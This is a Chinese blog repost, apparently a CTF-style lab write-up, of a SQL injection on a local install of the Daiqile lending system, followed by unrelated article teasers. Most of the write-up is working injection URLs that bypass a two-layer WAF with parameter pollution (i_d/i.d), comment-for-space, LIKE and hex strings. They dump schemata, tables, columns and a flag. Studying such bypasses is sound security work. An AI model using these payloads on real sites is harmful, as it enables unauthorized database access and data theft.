贷齐乐系统最新版SQL注入(无需登录绕过WAF可union select跨表查询)

news2024/9/24 11:23:28

一、环境

已上传资源(daiqile)

二、代码解释

1.1Request

不管get请求还是post请求都可以接收到

1.2过滤的还挺多

 1.3第二个WAF把数据分为两个了一个Key一个value,全是explode的功劳

1.4submit是if进入的前提

 很明显走进来了

1.5那我们在这个前提下跟着传入id(结果如下)

 

检测一下字段:

http://127.0.0.1/daiqile/index.php?submit=aaaa&i_d=1%203--+

 

单引号闭合呢

 

下断看单引号走到哪里去了

好很明显被过滤掉了

而且这些字符被转为了中文,daabase(),information()等等括号都被废弃了

 

好了双重WAF很烦,第一重把特殊字符搞掉了,第二重把括号给咱转中文了

 那很难搞啊,我们想想有没有一种可能性,第一次WAF认为我是正常语句,第二个WAF可以覆盖,完蛋!!很难绕啊,这怎么可能,但是PHP有一个小特性,我们却可以利用,废话不多说看图

我的后端:

前端传两个id看一下 ,很明显PHP取的是后者

这点也被称之为hpp全局污染

 

取的第二个到底有什么用呢??哈哈哈大用可来了看好了

我们假设这样,我们有两个字段id=1' union select 1,2,3&id=2(恶意字符) ,后面我们是好好输入的,取第二个参数,所以第一个WAF过了,如果第二个WAF取的是我第一个参数,那不就好办了

再看个PHP特性,php可以将. ,转成下划线

很明显我前端传入

http://127.0.0.1/daiqile/index.php?submit=aaaa&i_d=1%27&i.d=2

不报错了 

在我后端看来我传的就是

i_d=1'&i_d=2222

 第一次进去:把我id放这里

第二次进去:

好了php特性传入的是i_d=1111'&i.d=22222

完美践行了我上面所说的思路,WAF检测的是2,而实际插入的数据库却是1 

ok实践插入语句吧(注意空格替换为/**/,前面有拦截)

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,2,3,4&i.d=2

很明显注入点出现了,是2 

注入:不知道库名

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from%20information_schema.tables/**/where/**/table_schema=%27%27&i.d=2

三、找库名

 information()下依然有库名的表,schemat

来库名

那我们刚才的单引号中就可以填东西了,好了出数据,但是出的是第一个库,在实际ctf比赛中,我们已经成功了,那接下来一个一个试呗

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=222

 好了,尝试成功:(很明显爆库了)

 四、库名出来注入表名

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema=%27ctf%27/**/limit/**/12,1&i.d=222

不出数据为什么呢???等号被截断了(等号分割),单引号在前端是正常的但是传入后端会url编码为%27数据库不认识,那我们就需要替换了

 解决方法:使用like,单引号使用16进制

五、出表

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=222

 

六、查字段

很明显,id。name,pass,flag

http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,10&i.d=222

七、查flag出数据:

http://127.0.0.1/daiqile/index.php?submit=aaa&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=123

八、 总结

单引号过滤16进制

等号过滤可以用like

空格绕过可以用注释符 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1463608.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024年上海高考数学备考:历年选择题真题练一练(2014~2023)

今天距离2024年高考还有三个多月的时间,今天我们来看一下2014~2023年的上海高考数学的选择题,从过去十年的真题中随机抽取5道题,并且提供解析。 后附六分成长独家制作的在线练习集,科学、高效地反复刷这些真题,吃透真…

回显服务器的制作方法

文章目录 客户端和服务器TCP和UDP的特点UDP socket api的使用DatagramSocketDatagramPacketInetSocketAddress API 做一个简单的回显服务器UDP版本的回显服务器TCP版本的回显服务器 客户端和服务器 在网络中,主动发起通信的一方是客户端,被动接受的这一方…

【Nacos】构建云原生应用的动态服务发现、配置管理和服务管理平台【企业级生产环境集群搭建应用】

基础描述 一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。Nacos 帮助您更敏捷和容易地构建、交付和…

API接口测试工具的使用指南

API接口测试是确保软件系统正常运作的关键步骤。API接口测试工具可以帮助开发人员和测试人员验证API的功能、性能和安全性。本文将介绍API接口测试工具的基本使用方法,以便有效地进行接口测试。 1. 选择合适的API测试工具 在开始API接口测试之前,首先需要…

MySQL-----多表操作

介绍 实际开发中,一个项目通常需要很多张表才能完成。例如:一个商城项目就需要分类表(category)、商品表(products)、订单表(orders)等多张表。且这些表的数据之间存在一定的关系,接下来我们将在单表的基础上,一起学习多表方面的知识。 一 多…

PostgreSQL限制密码的有效期(每次增加180天)

一、创建用户时,指定密码在180天后过期 创建用户时,可以使用如下语句,自动在当前时间的基础上增加180天,作为这个用户密码的有效时间。等到密码到期后或者临近的时候,可以使用SQL修改用户密码,并且重新定义…

echats 时间直方图示例

需求背景 某订单有N个定时任务,每个任务的执行时间已经确定,希望直观的查看该订单的任务执行趋势 查询SQL: select UNIX_TIMESTAMP(DATE_FORMAT(exec_time,%Y-%m-%d %H:%i)) execTime, count(*) from order_detail_task where order_no 2…

【命令行工具kubectl】

如何在k8s的任意节点使用用kubectl # 正常在node节点上是无法执行kubectl命令 [rootk8s-node-01 ~]# kubectl get pods The connection to the server localhost:8080 was refused - did you specify the right host or port?1、将master节点中/etc/kubernetes/,admin.conf拷…

Led灯驱动添加原子操作后驱动程序测试

一. 简介 上一篇文章实现了(Linux驱动代码中) 对 led灯的互斥处理,即使用Linux内核提供的处理并发与竞争的处理方法:原子操作。文章地址如下: Linux内核中并发与竞争的处理方法:原子操作举例-CSDN博客 …

React 模态框的设计(一)拖动组件的设计

春节终结束了,忙得我头疼。终于有时间弄自己的东西了。今天来写一个关于拖动的实例讲解。先看效果: 这是一个简单的组件设计,如果用原生的js设计就很简单,但在React中有些事件必须要多考虑一些。这是一个系列的文章,…

本机windows搭建达摩院与高德联合出品的地理地址自然语言处理模型GMeo实战

文章目录 本机windows搭建达摩院与高德联合出品的地理地址自然语言处理模型GMeo实战简介多模态地理文本预训练模型MGeoGeoGLUE 环境安装ModelScope相关安装conda虚拟环境深度学习基础库安装modelscope模型 测试代码代码输入xlsx文件运行这段测试代码输出xlsx耗时 如果有自定义样…

PLC_博图系列☞基本指令“异或“运算

PLC_博图系列☞基本指令“异或“运算 文章目录 PLC_博图系列☞基本指令“异或“运算背景介绍X:“异或”运算说明参数示例真值表 关键字: PLC、 西门子、 博图、 Siemens 、 异或 背景介绍 这是一篇关于PLC编程的文章,特别是关于西门子的…

Python如何运用turtle绘制阴阳太极图

本文详细分析如何使用Python turtle绘制阴阳太极图,先来分解这个图形,图片中有四种颜色,每条曲线上的箭头表示乌龟移动的方向,首先从中心画一个半圆(红线),以红线所示圆的直径作半径画一个校园&…

Leo赠书活动-18期 《高效使用Redis》

✅作者简介:大家好,我是Leo,热爱Java后端开发者,一个想要与大家共同进步的男人😉😉 🍎个人主页:Leo的博客 💞当前专栏: 赠书活动专栏 ✨特色专栏:…

机器学习面试:逻辑回归与朴素贝叶斯区别

逻辑回归与朴素贝叶斯区别有以下几个方面: (1)逻辑回归是判别模型,朴素贝叶斯是生成模型,所以生成和判别的所有区别它们都有。 (2)朴素贝叶斯属于贝叶斯,逻辑回归是最大似然,两种概率哲学间的区别。 (3)朴素贝叶斯需要条件独立假设…

#1.4w字长文#仿抖音项目架构设计与实现

一、项目介绍 本文介绍了一个Web端短视频应用,致力于为用户提供交互友好、功能完备的短视频浏览体验和直播体验。 集成了Gorse推荐算法,旨在为用户提供更个性化的推荐视频流和更权威的热门视频流。接入大模型,通过对视频内容进行语言分析&a…

大数据Kafka--概述

文章目录 概述定义消息队列传统消息队列的应用场景消息队列的两种模式 Kafka基础架构 Kafka快速入门安装部署集群规划集群部署集群启停脚本 Kafka命令行操作主题命令行操作生产者命令行操作消费者命令行操作 概述 定义 消息队列 目前企业中比较常见的消息队列产品主要有 Kafk…

C/C++的内存管理(1)

内存管理 C与C的内存分布C语言中动态内存管理方式回顾C内存管理的方式 C与C的内存分布 我们学习C语言时就知道,储存不同的变量计算机会相应分配不同区块的内存。那为什么要把内存化为不同的区域呢?实质上是为了方便管理 下面我们来看看下面一道例题&…

了解JSON的作用及其方法

什么是json JSON(JavaScript Object Notation)是一种轻量级的数据交换格式采用完全独立编程语言的文本格式存储和表示数据(就是字符串)。它基于JavaScript语法,但可以被多种编程语言使用和解析。JSON以键值对的形式存…

05 类和对象 3

目录 再谈构造函数static成员友元内部类匿名对象拷贝对象时一些编译器优化再次理解封装 1. 再谈构造函数 1.1 构造函数赋值 在创建对象时,编译器调用构造函数,给对象中各个成员变量一个合适的初始值 class Date { public: Date(int year, int month,…